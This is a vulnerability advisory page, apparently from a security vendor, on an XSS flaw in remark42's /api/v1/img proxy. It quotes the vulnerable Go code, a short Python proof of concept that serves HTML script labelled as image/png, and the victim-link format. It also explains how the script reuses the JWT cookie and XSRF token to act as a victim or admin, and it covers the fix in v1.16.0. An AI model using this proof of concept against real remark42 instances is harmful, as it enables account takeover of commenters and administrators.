GHSA-4c8j-mgm4-qqvp is a high-severity (CVSS 8.2) Cross-site Scripting (XSS) vulnerability in github.com/umputun/remark42. O3 Security confirms whether GHSA-4c8j-mgm4-qqvp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Remark42: Cross-Site Scripting (XSS) on /api/v1/img via content-type spoofing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4c8j-mgm4-qqvp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4c8j-mgm4-qqvp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/umputun/remark42Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The remark42 image proxy fetches an arbitrary remote URL and re-serves the response from remark42's own origin. The download path decides whether the fetched resource is an image by looking only at the Content-Type header the remote server claims — it never inspects the actual bytes. The serving path then derives the response Content-Type by sniffing those bytes with http.DetectContentType.
An attacker hosts a URL that sets Content-Type to image/png but returns an HTML/JavaScript body:
- the download check sees
image/png→ accepts it; - the serve path sniffs the body → emits
Content-Type: text/html; - the browser renders attacker HTML/JS as a document in remark42's origin.
Details
Downloader
backend/app/rest/proxy/image.go — downloadImage(), lines 189-206:
contentType := resp.Header.Get("Content-Type")
if !strings.HasPrefix(contentType, "image/") {
return nil, fmt.Errorf("invalid content type %s", contentType)
}
maxSize := 5 * 1024 * 1024 // 5MB default
if p.ImageService != nil && p.ImageService.MaxSize > 0 {
maxSize = p.ImageService.MaxSize
}
lr := io.LimitReader(resp.Body, int64(maxSize)+1)
imgData, err := io.ReadAll(lr)
if err != nil {
return nil, fmt.Errorf("unable to read image body: %w", err)
}
if len(imgData) > maxSize {
return nil, fmt.Errorf("image is too large")
}
return imgData, nil // <-- bytes never validated, returned as-is
Send Content-Type: image/png and the check passes regardless of what the body actually contains.
Server
backend/app/rest/proxy/image.go — Handler(), line 131:
w.Header().Add("Content-Type", p.ImageService.ImgContentType(img))
_, err = io.Copy(w, bytes.NewReader(img))
backend/app/store/image/image.go — ImgContentType(), lines 242-249:
func (s *Service) ImgContentType(img []byte) string {
contentType := http.DetectContentType(img)
if contentType == "application/octet-stream" {
return "image/*"
}
return contentType // <-- returns text/html for an HTML body
}
PoC
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body) # body = <!DOCTYPE html><script>...</script>
Then have the victim open https://<remark42-host>/api/v1/img?src=<base64(attacker-host)> top-level.
Impact
- The script can issue authenticated, same-origin API calls with
credentials: 'include'— the JWT cookie is sent automatically. - The script can read the
XSRF-TOKENcookie and re-send it as theX-XSRF-TOKENheader, defeating CSRF protection. The attacker acts as the victim: delete/edit their comments, change their settings, and — if the victim is admin — perform admin actions.
Triggering requires no remark42 account on the target instance; the attacker only needs to host the malicious upstream URL and deliver the proxy link to a victim by any means (email, DM, link on another site, etc.).
Fix
v1.16.0 adds layered defense to /api/v1/img and /api/v1/picture/{user}/{id}:
rest.SafeImgContentTypevalidates sniffed body bytes against a strict allowlist (image/png,image/jpeg,image/gif,image/webp,image/bmp,image/x-icon). Non-image content returns415with no body echo. SVG is implicitly excluded.- Every response carries
Content-Security-Policy: default-src 'none'; sandbox; frame-ancestors 'none',X-Content-Type Options: nosniff, andContent-Disposition: inline; filename="image". - The ETag is bumped to
"v2:<base64(src)>". Browsers that revalidate cached pre-fix responses get a fresh validated200instead of a304against the poisoned cached entry. - The strict
default-src 'none'; sandboxCSP also applies to all/api/v1/*routes as defense-in-depth.
Residual exposure
Browser-local caches that already hold a pre-fix text/html response with Cache-Control: max-age=2592000 keep serving it from local store until the TTL expires or the cache is evicted under memory pressure. The ETag bump only reaches clients that revalidate during the cached lifetime. Operators running a CDN/edge cache in front of remark42 should purge /api/v1/img after deploying v1.16.0.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/umputun/remark42 | ≥ 1.6.0&&< 1.16.0 | 1.16.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/umputun/remark42. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/umputun/remark42 to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4c8j-mgm4-qqvp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4c8j-mgm4-qqvp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4c8j-mgm4-qqvp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4c8j-mgm4-qqvp in your dependencies?
O3 detects GHSA-4c8j-mgm4-qqvp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.